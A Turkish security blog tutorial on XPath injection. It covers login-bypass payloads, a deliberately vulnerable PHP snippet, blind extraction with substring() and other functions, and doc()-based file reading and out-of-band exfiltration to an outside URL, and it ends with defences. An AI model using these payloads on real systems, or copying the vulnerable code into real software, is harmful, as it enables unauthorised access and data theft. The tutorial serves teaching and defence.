Ana içeriğe atla

Xpath Injection Zaafiyeti



Arkadaşlar merhaba.  Bu makalemde sizlere bir tür web açıklığı olan Xpath Injection zaafiyetini anlatacağım.


Xpath Injection Nedir ?


İlk önce Xpath’in ne anlama geldiğine bir bakalım . Xpath , XML dökümanları üzerinde  basit tipte sorgulama yapmamıza izin veren bir dildir. Yapısı gereği kullanıldığı birçok alan vardır . Örnek olarak XQuery ve XSLT gibi. Tam olarak yaptığı iş , XML dökümanı içerisinde lokasyon aramak ve bulmak diyebiliriz.


Web uygulamalarında veriler veritabanı sunucusunda çeşitli şekillerde depolanabiliyorlar. Sunucudaki veri depolama formatı RDMBS(Relational Database Management System), LDAP(Lightweight Directory Access Protocol) veya XML (Extensible Markup Language) gibi formatlarda olabilir. Uygulama , kullanıcının veri giriş alanlarına girdiği verilerden sorgular oluşturur ve sunucuya gönderir. Sorgunun sunucuda çalışması sonucunda dönen veriler kullanıcıya sunulmaktadır .


Xpath ınjection saldırılarında saldırgan Xpath sorgulama diline , XML veritabanına ve uygulamanın yazıldığı programlama diline hakim olması gerekir.
XML veritabanı , verileri alışılagelmiş olan tablolar içerisinde kolon ve satırlarda değilde , XML dökümanı içerisinde  ağaç yapısındaki node’larda saklanır.




XML Veritabanı Ağaç Yapısı


XML veritabanında kullanıcıları için tablolara, kolonlara veya sorgulara erişimde sınırlamalar getirilmemiştir. Farklı kullanıcılar için farklı erişim seviyeleri bulunmamaktadır. Gerekli önlem alınmadığı takdirde herhangi bir kullanıcı tüm XML dökümanına erişebilir. Bu da, uygulamada XPath açığı bulunması halinde saldırganın tüm XML veri tabanını ele geçirebilmesi anlamına gelmektedir.


Bu saldırı yöntemine sebep olan durumları, teknikleri ve saldırının oluşturacağı sonuçları  hem yazılım geliştirici hem de sistem yöneticisi iyi bir şekilde bilmeli ve sistemin güvenliği için gerekli önlemler alınmalıdır.


XML veritabanında kullanıcıları için tablolara , kolonlara veya sorgulara erişimde sınırlamalar getirilmemiştir. Farklı kullanıcılar için farklı erişim seviyeleri bulunmamaktadır. Gerekli önlem alınmadığında takdirde herhangi bir kullanıcı tüm XML dökümanlara ulaşabilir . Bunun sonucunda oluşan güvenlik zaafiyeti olan Xpath açığı bulunması halinde saldırganın bütün XML veri tabanını ele geçirmesi anlamına gelmektedir.


Örnek olarak anlatmak istersek:


Simdi bizim bir Mert diye bir arkadaşımız var. Aşağıda bir kullanıcı adı  ve sifre belirliyorum ona göre işlem yapalım.


Kullanıcı Adı= CYPM
Şifresi = CYPM    
Şimdi /user[kullaniciadi=“CYPM” and sifre=“CYPM”]   sorgusu uygulama tarafından oluşturularak sunucuya gönderilir. Bu sorgu sonucunda bize (true and true ) = TRUE dönecektir ve mert arkadaşımız sisteme giriş yapmış olacaktır.


Xpath injection saldırısı ile de kullanıcımız bu yetkilendirme aşamasını atalatabilir. Sistemde Xpath İnjection açığı varsa saldırganın giriş formlarına yazacağı,




Eğer Saldırgan kullanıcı adını bilip sifreyi bilmiyorsa:


Kullanici Adı= mert “ or “1” = “1
Şifresi= herhangibirsifre


değerleri ile servera gönderilecek sorgu =  /user[kullaniciadi=“ mert” or”1”=“1 ” and sifre=“herhangibirsifre”] şeklinde olacaktır ve mantıksal işleyişi de şu şekilde olacaktır :
True or (True and False) -> True or False = TRUE  olacaktır ve  mert arkadaşımızın yetkileri ile giriş yapmış olacağız.


Xpath sorgulamada yorum satırı   “< >” tag’leri arasına yazılır.  SQL Injectionda olduğu gibi “ - - “ karakterlerinden sonra yazılan mesela şifrenin bilinmemesinden kaynaklanan False değeri, yorum satırı haline getirilip elenemez. Bunun yerine “ 1=1 ” gibi “True” bir ifadeyle “and” işleminin “or” işlemine göre önce işleme alınması kullanılarak False olan şifre değeri elenir ve bu şekilde sisteme girişi yapmış oluruz.


Eğer saldırganımız Kullanıcı Adını da bilmiyorsa şu şekilde giriş yapabilir.
Kullanıcı Adı= herhangibirAd or “1” = “1” or “1” = “1
Sifresi=  herhangibirsifre


değerler girildiğinde /*[1]/user[kullaniciadi=“ herhangibirAd” or “1” or “1” =“1  and sifre=“herhangibirsifre”]  sorgusu servera gönderildiğinde bu sorgudaki mantıksal işlem  False or True or (False and True)->
True or False = TRUE olacaktır ve bu işlem XML dosyasındaki ilk nodu çalıştıracak ve ilk kullanıcının yetkileri ile sisteme giriş yapılmış olacaktır.


Başka bir Örnek daha  verecek olursak :


<?php
$test=$_GET[‘test’];
if($test)


{


$xml=simplexml_load_file(“cypm.xml”);
$result=$xml->xpath($test);
print_r($result);


}
?>


Şimdi bu yukarıda yazdığım cypm.xml dosyasına xpath query gönderdiğimize dikkat ediyoruz. Bu dosyaya bakıyoruz


<?xml version="1.0" encoding="UTF-8"?>
<note>
<to> CYPM </to>
<from> canyoupwnme </from>
<heading> Mektup </heading>
<body> CYPM üyesiyim </body>
</note>


XML dosyasında taglere bakıyoruz. PHP dosyamıza göre sorguları gönderelim.


Index.php?test=from:


#Array ( [0] => simpleXMLelement Object ([0] => canyoupwnme ) )


Index.php?test=*


#Array ( [0] => simpleXMLelement Object ( [0] => CYPM ) [1] => simpleXMLelement Object ( [0] => canyoupwnme )
[2] => simpleXMLelement Object ( [0] =>Reminder ) [3] => simpleXMLelement Object ( [0] => CYPM üyesiyim ) )


İşte XML dosyasındaki tüm objectler karşımızda.


Blind Xpath Injection Nedir ?


Blinde Xpath ınjection , saldırganın veritabanı ile alakalı oluşturduğu boolean  boolean cevaplı sorguları sunucuya göndererek  XML dökümanını çözmeye çalışmasıdır.
Bliend injections saldırısı . Xpath açığı bulunan web sitesi sayfalarından gönderilen “true ” veya “false” cevaplarıyla şekilleneceği için ,  uygulamada sorgulara cevap olarak “true” veya “false” olarak dönen sayfaların belirlenmesi gerekir ki cevaplar bu sayfalar ile anlaşılabilsin.


Xpath Injectionda Kullanılan Fonksiyonlar :


*Count(item): Node içindeki attributelerin(nitelik,yetenek) sayısını verir.
*Name() : Node ismini verir.
*String-length(string) : Belirlenen string değerin uzunluğunu verir.
*Substring(string,start position, length) : Belirlenen string içerisinde istenilen pozisyondan başlayarak istenilen uzunluktaki alt stringi döndürür.


*Starts-with(string1,string2) : String1 değeri string2 değeri ile başlıyorsa “true ” , başlamıyorsa “false” döndürür.


*Contains(string1,string2) : String1 değeri string2 değerini kapsıyorsa true, kapsamıyorsa false döner.


Fonksiyonlar kullanılarak XML dökümanının içeriği brute force kullanılarak , deneme yanılmayla çıkarılmaya çalışılır.
Mesela substring() ve name() fonksiyonları kullanılarak or substring(name(parent::*[position()=1]), 1, 1)=‘a sorgusu ile ilk node’un isminin ilk karakterinin ‘a’ olup olmadığı sunucuya sunulur.
Done coeval true ise 2. karakterin bulunabilmesi için yeni bir sorgu gönderilir , false ise ‘a’ karakteri yerine olabilecek farklı karakterler true cevabı dönene kadar denenir.
Bu fonksiyonlarla oluşturulan sorgularla karakterler denenerek node isimleri ve değerleri bulunur. Yorum satırı varsa çözülür. Varsa alt nodelar içinde süreç tekrarlanarak XML dökümanı ele geçirilir.


Xcat Aracı


Bütün bunları manuel olarak yapmaya çalışırsak zaman alacağını söylememe gerek yok sanırım .  Bu yüzden sağolsunlar  Xcat adlı  Xpath injection ile veritabanını ele geçirmeye çalışan araç hazırlamışlar.
Python dili ile yazılmıştır. Xpath 2.0 içerisindeki fonksiyonları da kullanmasıyla çok daha hızlı hale gelmiştir.


XML Dosyasının Hangi Direktöride Çalıştığının Belirlenmesi :


Xpath 2.0 versiyonunda base-uri() fonksiyonu sorgunun hangi direktöride çalıştığını döndürür. Bu şekilde dökümana uzaktan erişim sağlanır.


Versiyon Belirleme :


Xpath versiyonun belirlenmesi için , bir büyük harfin “lower-case()” fonksiyonu kullanılarak küçük harfe çevrilip çevrilmediğini kontrol edilir. Lower-case fonksiyonu v1.0 da tanımlı olmadığından sonuç null
dönüyorsa versiyonun 1.0 olduğu , lower-case(‘A’)=‘a’ sonucu alınıyorsa Xpath 2.0 versiyonu olduğu anlaşılır.


Veri Deneme Alanının Daraltılması :


Xpath 2.0 ile gelen fonksiyonlar kullanılarak Xpath 1.0 versiyonunda yapılan bling injection veri deneme alanı daraltılabilmektedir. Böylelikle serverea gönderilen istekler azaltılmış olur ve daha kısa sürede saldırı gerçekleşmiş olur. Servere yapılan istekleri sayısını azaltmak için birçok teknik kullanılmaktadır.


-Unicode Normalizasyonu :


  • Unicode-Normalization() fonksiyonu kullanılarak unicode karaketerler ascii karakterlere çevrilebilir. Bu şekilde arama ascii değerler arasından yapılacağı için unicode gibi geniş karakterler dizisinin kullanılmasına
  • gerek yoktur. Fakat bazı karakterlere Unicode Normalizasyonu uygulanamadığı için veri kayıpları olmaktadır. Mesela  ‘á’ karakteri ‘a’ karakterine ve ascii koduna çevrilir.


-String Code Point :


Xpath 2.0 içerisindeki string-to-codepoints() fonksiyonu ile bir string ifade eden her karakteri ayrı ayrı gösterilen sayılar dizisine dönüştürelebilir. String-to-codepoints(“abc”) = (97,98,99) , bu dönüşüm sonucunda sadece string karakterler deneneceği için deneme alanın daralması dolayısıyla servera gönderilen isteklerin azalmasını sağlar.


-Matches() Fonksiyonu :


Bu fonksiyon sayesinde , blind injection ile değeri denenerek bulunmaya çalışılan karakterlerin küçük büyük harf mi, sayı mı , sembol mü olduğu sorgular gönderilerek önceden öğrenilir. Böylelikle sadece belirlenen kategorinin karakterleri denenir ve sorgu sayısı azaltılmış olur.
-> matches(/users/user[1]/kullaniciadi/text(),”[A-Z]”)


-Error() Fonksiyonu ile Sorgu Sonucu Bulma :


Uygulamada , servera gönderilen sorguların sonuçları için serverdan dönen “true” ve “false ” sayfaları yoksa , error() fonksiyonu kullanılarak sorgunun sonucu öğrenilir.


and(if($sorgu) then error() else 0) and ‘1’ = ‘1  surge parametere içine yazılabilecek olan sorgunun sonucu True ise error() fonksiyonu çalışacak ve hata sayfası görünecektir.


Doc() Fonksiyonu :


-Doc() fonksiyonu lokal sistemde veya uzak serverdaki xml dosyalarının okunmasının okunmasını sağlayan Xpath 2.0 versiyonun fonksiyonudur. Doc() fonksiyonu sayesinde saldırgan  Xpath açığı bulunan uygulamanın , dosya sistemi üzerindeki XML veritabanını yetkisi olmadan görüntüleyebilir.


doc(“file:///etc/conf/config_file.xml”)/*[1]/text()  sorgusu ile lokal sistemde config_file.xml dosyası içinde ilk node da bulunan verileri görüntületir.
Hedef serverdan XML dökümanını doc() fonksiyonuyla çekebilmek için tıpkı SQL Injection’ın Out Of Band saldırısında olduğu gibi saldırgan HTTP protokolünü ve DNS isteklerinide kullanabilir.


HTTP protokolüyle saldırgan doc() fonksiyonuyla oluşturduğu ifadeyi GET isteğiyle hedef servera gönderir. Hedef server tarafından isteğin zararlı olduğu engellenmez ise cevap olarak , ifade içindeki Xpath sorgusu çalıştırılarak saldırganın serverine gönderilir. Bu şekilde XML dökümanı  Blind injection’a göre daha hızlı ve kısa sürede ele geçirilir. Hız sadece veritabanından verileri çekerken HTTP protokolünün veriyi çekerken taşıyabileceği maksimum paket büyüklüğü ile sınırlıdır.


Servera HTTP isteği gönderilirken gerekli Xpath sorgu ifadeleri URL’ ye  concat()  fonksiyonu ile eklenir. Sorgu ifadesinin içerisinde özel ifadeler bulunmayacağından , gönderilmeden önce encode-for-uri() fonksiyonu kullanılarak url encode edilmelidir.


Örnek
doc(concat(“http://canyoupwnme.com/savedata.py?d=”))


HTTP isteği çoğu durumda server tarafından firewall engellemesine takılabiliyor. Bu durumda saldırgan isteği hedef serverda çalıştırabilmek için DNS isteğinde bulunur. Saldırgan hedef DNS serverinden kendi serverinin adresini istekte bulunur. Hedef server gelen isteği saldırganın serverine ileterek cevap bekler. Saldırgan serverinden cevap olarak kendi adresine Xpath sorgusunuda ekleyerek hedef bilgisayara gönderir,sorgu çalışır ve hedef server tarafından DNS isteğinin cevabı ile Xpath sorgusunun sonucunda dönen veriler saldırganın bilgisayarına gönderilir.


Xpath Saldırısından Korunma Yolları :


Öncelikli olarak uygulama geliştirici code kısmında ,kullanıcının veri girişine izin verdiği alanlarda girilen karakterlerin bir Xpath sorgusu teşkil etmemesi için girişleri filtreleyerek sınırlamalar getirilmelidir.
Sınırlama kullanıcının  girmemesi gereken karakterler yerine girebilme ihtimali olan karakterler dışında  kalanları filtrelemek ile gelecekte çıkacak olan zero-day saldırılarına karşıda bir nevi önlem alınmış olur.
Girdi olarak Xpath fonksiyon isimleride kesinlikle engellenmelidir. Sınırlamalar yazılımla client tarafta yapıldığı gibi , server tarafında da firewall kurallarıyla kontrol edilmeli ve önlem alınmalıdır.
Parametreli sorgular kullanılmalıdır. Parametreli sorguda kullanıcı girdilerinin direkt olarak çalışma zamanında kullanılmasının yerine önceden compile edilerek kullanılmış olurlar. Böylece çalışma zamanında kod çalıştırma engellenmiş olur.

Arkadaşlar CanyouPwnMe deki xPath Injection yazının yazarı benim , baskasının verilerini cekiyor
demeyiniz lütfen .      
  Yiğit  Recep  Kader

Dear Friends i will write in english like this article, coming soon.



Yorumlar

Bu blogdaki popüler yayınlar

C# Media Player - Mp4 Video Oynatıcısı

Arkadaşlar Visual Studio WPF uygulaması ile basit bir Mp4 Media Player yaptım kodlarını da sizle paylaşayım.Ayrıca System.Windows.Form  referansını eklemeyi unutmayınız. Lütfen kodları kopyalayıp yapıştırmadan deneyerek yapamadıgınız anda bakarak yazınız. using  System; using  System . Collections . Generic; using  System . Linq; using  System . Text; using  System . Threading . Tasks; using  System . Windows; using  System . Windows . Controls; using  System . Windows . Data; using  System . Windows . Documents; using  System . Windows . Input; using  System . Windows . Media; using  System . Windows . Media . Imaging; using  System . Windows . Navigation; using  System . Windows . Shapes; using  Microsoft . Win32; using  System . Windows . Forms; namespace  WpfGun7_250717 {          public   partial   class   MainWindow  :  Window     {          public   string  selectedFileName;          public  MainWindow()         {             InitializeComponent();         }   

Smalltalk Programlama Dili

SMALLTALK PROGRAMLAMA DİLİ             • Dilin tarihcesi Smalltalk, Alan Kay önderliğinde, aralarında Adele Goldberg, Dan Ingalls, Ted Kaehler'in bulunduğu bir grup tarafından Xerox PARC'ta (Palo Alto Research Center) geliştirilmiş nesne yönelimli bir programlama dilidir. 1969 yılında geliştirilmeye başlanmış , ilk sürümü 1972 yılında ortaya cıkmıstır ve ilk kararlı sürümü  Smalltalk-80 dir.  Nesneye yönelik programlamanın atası diyebiliriz yeni bir programlama tekniğine öncülük etmiştir. Lisp , simula gibi dillerinden de etkilenmiştir ve bir çok dili de etkilemiştir. • Dilin tasarım amacları(design goals)    Smalltalk projesinin amacı, herkesin yaratıcı ruhu için bilgisayar desteği sağlamaktır. İşimiz, yaratıcı bir bireyi ve mevcut en iyi bilgisayar donanımı içeren bir vizyona dayanır. İki ana araştırma alanına yoğunlaşmayı seçildi ve modeller arasında bir arayüz görevi gören programlama dili, bilgisayarın insan iletişim sistemi denilebilir.    Grafik

BURP SUİTE KULLANIMI

BURP SUİTE Arkadaşlar bugün size Burp Suite programını anlatamaya çalışacağım , Burp Suite Nedir? Burp Suite ‘e proxy aracı dyebiliriz arkadaşlar . HTTP-HTTPS  istemci-sunucu mimarisini kullanan sistemlerde araya girmemize yardımcı olmakta diyebiliriz ve baska bir kaç ozellikleride var bunlarda fazla detaya girmeyeceğim. Burp Suite Kurulumu  Arkadaşlar ilk olarak tarayıcımızı kuralım , burada firefoxu kullandıgımızı varsayarak anlatacagım ve bu tür işlerde firefox kullanmanızı tavsiye ederim . Şimdi ilk olarak firefoxta  “ Tercihleri “ acalım -> “ Gelişmiş’i  “ -> sonra ağ bölümünde “ Ayarlar ” seçelim. Daha sonra vekil sunucu ve iletişim noktasını(Port) elle ayarla seçeneğinden yazarak ayarlayacağız . Burada ; Vekil Sunucu : 127.0.0.1 veya İp adresiniz İletisim Noktası : 8080 olarak ayarlayalım , daha sonra  sistem vekil sunucu ayarlarını kullan diyelim. Şuan tarayıcımızla işimiz bitti   Sıra geldi Burp Suite programına ;